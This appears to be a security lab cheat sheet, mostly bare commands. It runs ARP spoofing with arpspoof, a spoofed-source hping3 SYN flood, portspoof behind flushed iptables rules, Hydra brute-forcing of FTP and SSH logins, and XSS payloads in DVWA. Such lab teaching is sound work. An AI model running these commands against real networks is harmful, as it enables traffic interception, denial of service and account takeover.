ARP Spoofing

sudo apt install dsniff

sudo sysctl -w net.ipv4.ip_forward=1

sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.101

sudo sysctl -w net.ipv4.ip_forward=0

IP Spoofing

sudo apt install hping3

sudo hping3 --flood -p 80 192.168.1.101 -S --rand-source

or

sudo hping3 --flood -p 80 192.168.1.101 -S --spoof 10.10.10.10

Port Spoofing

sudo apt install portspoof

sudo iptables -F

sudo iptables -t nat -F

sudo iptables -L

sudo iptables -t nat -L

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 1:65535 -j REDIRECT --to-ports 4444

Replace eth0 with your interface name

ip a

sudo portspoof -c /etc/portspoof/portspoof.conf -s /etc/portspoof/portspoof_signatures

nmap -v -A 192.168.1.100 az

sudo tail -f /var/log/syslog

sudo iptables -F

sudo iptables -t nat -F

Hydra

nmap 172.20.10.12

sudo apt-get install vsftpd

sudo nano /etc/vsftpd.conf

write_enable=YES

local_enable=YES

sudo systemctl restart vsftpd

sudo apt update

sudo apt install openssh-server

sudo systemctl status ssh

Create a Password List

password123

admin123

gss123

ubuntu

bala # correct password (as per your file)

root

sudo apt-get update

sudo apt-get install hydra

git clone https://github.com/vanhauser-thc/thc-hydra.git

cd thc-hydra

./configure

make

sudo make install

hydra -l gss -P '/home/gss/passlist' -t 6 ftp://172.20.10.12

hydra -l gss -P '/home/gss/passlist' -t 6 ssh://172.20.10.12

XSS DVWA

Install XAMPP (Web Server + MySQL + PHP)

cd Downloads

chmod +x xampp-linux-x64-*.run

sudo ./xampp-linux-x64-*.run

sudo /opt/lampp/lampp start

Download DVWA

cd /opt/lampp/htdocs

sudo git clone https://github.com/digininja/DVWA.git

cd DVWA

sudo cp config/config.inc.php.dist config/config.inc.php

Configure DVWA Database

sudo nano config/config.inc.php

$_DVWA['db_user'] = 'root';

$_DVWA['db_password'] = '';

Start MySQL & Configure DVWA DB

sudo /opt/lampp/lampp startmysql

Now open browser:

http://localhost/DVWA/setup.php

Click → *Create / Reset Database*

Login to DVWA:

Username: admin

Password: password

Set DVWA Security Level to Low

DVWA → Security → Set Security Level: Low → Submit

Performing XSS Attack in DVWA

DVWA → Vulnerabilities → XSS (Reflected)

Example XSS Payload (Reflected XSS)

<script>alert('XSS Attack')</script>

Example XSS Payload (HTML Injection)

<h1 style="color:red;">Hacked by XSS</h1>

Stored XSS (Persistent XSS)

DVWA → Vulnerabilities → XSS (Stored)

<script>alert('Stored XSS')</script>

JCrypTool

tar -xvzf JCrypTool-Weekly-1.0.9.1-20230901-Linux-64bit.tar.gz

cd JCrypTool-Weekly-1.0.9.1-20230901-Linux-64bit

chmod +x JCrypTool

./JCrypTool